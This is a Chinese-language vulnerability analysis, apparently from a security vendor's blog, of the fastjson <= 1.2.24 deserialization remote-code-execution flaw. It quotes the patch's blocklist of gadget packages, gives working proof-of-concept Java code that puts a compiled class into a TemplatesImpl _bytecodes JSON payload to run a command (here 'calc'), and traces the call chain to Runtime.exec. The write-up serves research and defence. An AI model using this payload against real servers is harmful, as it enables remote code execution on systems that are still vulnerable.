fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
关于漏洞的具体详情可参考 :https://github.com/alibaba/fastjson/wiki/security_update_20170315
受影响的版本
fastjson <= 1.2.24
静态分析
根据官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。
具体包括:
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils, org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4. comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util, org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework
下面我们来分析checkAutoType的函数实现:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } if (typeName.length() >= maxTypeNameLength) { throw new JSONException("autoType is not support. " + typeName); } final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。
程序验证构造
静态分析得知,要构造一个可用的程序,肯定得引入denyList的库。刚开始fastjson官方公布漏洞信息时,当时就尝试构造验证程序,怎奈fastjson的代码确实庞大,还有asm机制,通过asm机制生成的临时代码下不了断点。当时也只能通过在通过类初始化的时候弹出一个计算器,很显然这个构造方式不具有通用性,最近jackson爆出反序列漏洞,其中就利用了TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,简直不能再更妙,这就解决了fastjson通过字段传入一个类,再通过这个类执行有害代码。后来阅读ysoserial的代码时也发现在gadgets.java这个文件中也使用到了这个类来动态生成可执行命令的代码。
下面是一个程序验证的代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } }
这个是Test.java的实现,在Test.java的构造函数中执行了一条命令,弹出计算器。编译Test.java得到Test.class供后续使用。后续会将Test.class的内容赋值给_bytecodes。让我们接着分析:
package person; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; /** * Created by web on 2017/4/29. */ public class P{ public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,弹计算器的图中展示了但是实际运行却没有使用,只能依赖于jdk的实现,作者在1.8.0_25,1.7.0_05测试都能弹出计算器,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。
接下来我们看下TemplatesImpl.java的几个关键函数:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()
下面我们上一张调用链的图:
简单来说就是:
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
附上一张成功执行图:
总结
该程序验证的影响jdk 1.7,1.8版本,1.6未测试,但是需要在parseObject的时候设置Feature.SupportNonPublicField。
from http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/